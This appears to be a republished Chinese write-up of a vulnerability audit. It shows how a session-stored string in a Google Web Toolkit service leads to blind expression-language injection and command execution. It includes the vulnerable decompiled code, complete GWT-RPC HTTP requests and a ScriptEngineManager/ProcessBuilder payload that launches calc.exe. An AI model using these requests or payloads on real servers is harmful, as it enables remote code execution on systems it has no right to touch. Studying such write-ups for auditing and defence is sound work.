- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 怎么在Google Web Toolkit環(huán)境下Getshell
這篇文章主要講解了“怎么在Google Web Toolkit環(huán)境下Getshell”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“怎么在Google Web Toolkit環(huán)境下Getshell”吧!
Google Web
Toolkit簡(jiǎn)稱(chēng)(GWT),是一款開(kāi)源Java軟件開(kāi)發(fā)框架。今天這篇文章會(huì )介紹如何在這樣的環(huán)境中通過(guò)注入表達式語(yǔ)句從而導致的高危漏洞。
漏洞介紹
在WEB-INF/web.xml中,我發(fā)現了以下的web端點(diǎn)映射:
<servlet><servlet-name>someService</servlet-name><servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class> </servlet> <servlet-mapping><servlet-name>someService</servlet-name><url-pattern>/someService.gwtsvc</url-pattern> </servlet-mapping>
我們可以從上面代碼中看到引用了映射。由于GWT可以通過(guò)定義客戶(hù)端以便于表示客戶(hù)端能夠進(jìn)行哪些訪(fǎng)問(wèn)。我們看看這些客戶(hù)端類(lèi)com.aaa.bbb.ccc.ddd.client:
public abstract interface SomeService extends RemoteService { public abstract void sendBeanName(String paramString); public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList); public abstract void createMibNodeGettingBean(); }
通過(guò)以上代碼我們可以看到有三個(gè)函數,所以把它們單獨拿出來(lái),看看它們的各自功能都是什么。在ServiceImpl的主函數中,我們找到了如下代碼:
public void sendBeanName(String paramString) { if (paramString == null) { return; } HttpSession localHttpSession = super.getThreadLocalRequest().getSession(); if (localHttpSession != null) { localHttpSession.setAttribute("MibWidgetBeanName", paramString); } }
在這段代碼中我們通過(guò)輸入字符串來(lái)更改"MibWidgetBeanName"屬性。除了這一點(diǎn),好像沒(méi)有什么可以利用的。我們繼續看setMibNodesInfo函數:
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList) { List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList); if (localList != null) { MibNodesSelect localMibNodesSelect = getBeanByName();
這個(gè)函數需要一個(gè)MIBNodeModel類(lèi)型的一個(gè)列表。mibNodeModelList2MibNodeList這個(gè)方法會(huì )檢查我們輸入的列表是否符合規范,并且根據列表的一個(gè)元素的值返回不同的值。
如果列表是空,這個(gè)函數會(huì )定義一個(gè)新列表,并且將內容設置為MIBNodeModel的默認值。然后getBeanByName函數就會(huì )被調用。繼續看看這一函數吧
private MibNodesSelect getBeanByName() { ... Object localObject1 = super.getThreadLocalRequest().getSession(); if (localObject1 != null) { localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName"); if (localObject2 != null) { localObject3 = null; try { localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}"); } finally { if ((localFacesContext != null) && (i != 0)) { localFacesContext.release(); } } return (MibNodesSelect)localObject3; } } return null; }
由于這是一個(gè)私有函數,所以我們不能通過(guò)客戶(hù)端直接查看到這個(gè)函數的內容。在第8行我們可以了解到這里再次使用了”MibWidgetBeanName”屬性,將一個(gè)字符串存儲到了localObject2中。
localObject2這個(gè)變量稍后會(huì )在第14行被用到去接受一個(gè)語(yǔ)言表達式。很明顯,這是一個(gè)經(jīng)典的表達式注入漏洞,不過(guò)前提是先反匯編出代碼呀~
攻擊過(guò)程
首先,這不是一個(gè)有返回值的語(yǔ)言表達式注入漏洞。這就意味著(zhù)你不知道它是不是已經(jīng)執行你輸入的命令。因此,我將它認為是語(yǔ)言表達式盲注。
我通過(guò)一個(gè)簡(jiǎn)單的例子進(jìn)行說(shuō)明,假如我們一個(gè)JSF(java服務(wù)器框架)存在這樣的一個(gè)漏洞,那么漏洞代碼會(huì )類(lèi)似下方:
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
那么,通過(guò)以下攻擊代碼就可以實(shí)現攻擊
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
由于瀏覽器會(huì )將"+"號轉換為空格,所以我們對"+"號進(jìn)行url編碼,如果我們得到的結果是10,那么我們就知道服務(wù)器已經(jīng)執行這一個(gè)"9+1"這個(gè)命令。使用數學(xué)表達式進(jìn)行注入檢測是burpsuit檢測注入的方法。
但是,在上述我們進(jìn)行審計的代碼當中,我們是不是不能去輕易的判斷他是不是存在語(yǔ)言表達式漏洞?當然不是,我們還有其他方法。通過(guò)查找JSF說(shuō)明文檔,我發(fā)現了一些特別棒的函數,能夠方便我們在不發(fā)出http請求確定是否存在EL注入。
Oracle官方文檔陳述道你可以在FacesContext對象中使用getExternalContext方法。這個(gè)方法會(huì )返回一個(gè)ExternalContext類(lèi)型的值,它允許我們設置特定對象的響應屬性。當我查看文檔時(shí),這兩個(gè)函數引起了我的注意:
setResponseCharacterEncoding redirect
因此我們可以通過(guò)設置這個(gè)特定字符串為下面java代碼:
facesContext.getExternalContext().redirect("http://srcincite.io/");
如果響應狀態(tài)值為302,重定向到了”http://srcincite.io/ “,那么我們就可以確定存在漏洞。
漏洞測試
我們第一個(gè)請求是對MibWidgetBeanName屬性進(jìn)行賦值
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 195 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
通過(guò)返回響應為”//ok[[],0,6]”可以了解到,我們對GWT注意已經(jīng)成功。然后第二個(gè)請求觸發(fā)存放在session中的字符串。但是,當我們發(fā)送請求之前,因為setMibNodesInfo函數傳入的是一個(gè)復雜的變量類(lèi)型,我們需要查看被保護文件的源代碼,了解一下允許提交的類(lèi)型。在[strongname].gwt.rpc文件中,我找到了在數組中可以提交的類(lèi)型: java.util.ArrayList/382197682。
現在我們可以發(fā)送我們的請求數據了
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
正確的返回包內容應該和下面相似:
HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure Pragma: no-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Location: http://srcincite.io/ Content-Type: text/html;charset=UTF-8 Content-Length: 45 Date: Wed, 03 May 2017 18:58:36 GMT Connection: close //OK[0,1,["java.lang.Boolean/476441737"],0,6]
當然,能夠重定向說(shuō)明已經(jīng)執行成功了。但是我們需要的是得到shell,在這篇文章http://blog.mindedsecurity.com/2015/11/reliable-
os-shell-with-el-
expression.html可以使用ScriptEngineManager的腳本執行java代碼。不過(guò)他們的代碼都特別長(cháng),所以我使用相同的方法自己寫(xiě)了一個(gè)
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")
更新MibWidgetBeanName屬性值,然后使用setMibNodesInfo再一次除非這個(gè)字符串,然后得到系統權限
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 366 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|
觸發(fā)語(yǔ)言表達式:
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
結論
這一漏洞幾乎不可能在黑盒滲透測試中被發(fā)現。像burp suite這樣的工具不會(huì )發(fā)現這樣的漏洞,尤其是在考慮到字符串儲存到seesion中這種情況。
隨著(zhù)網(wǎng)絡(luò )技術(shù)的進(jìn)步,我們對自動(dòng)化的依賴(lài)越來(lái)越大, 在這一領(lǐng)域我們需要更多知識,技能以及工具。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站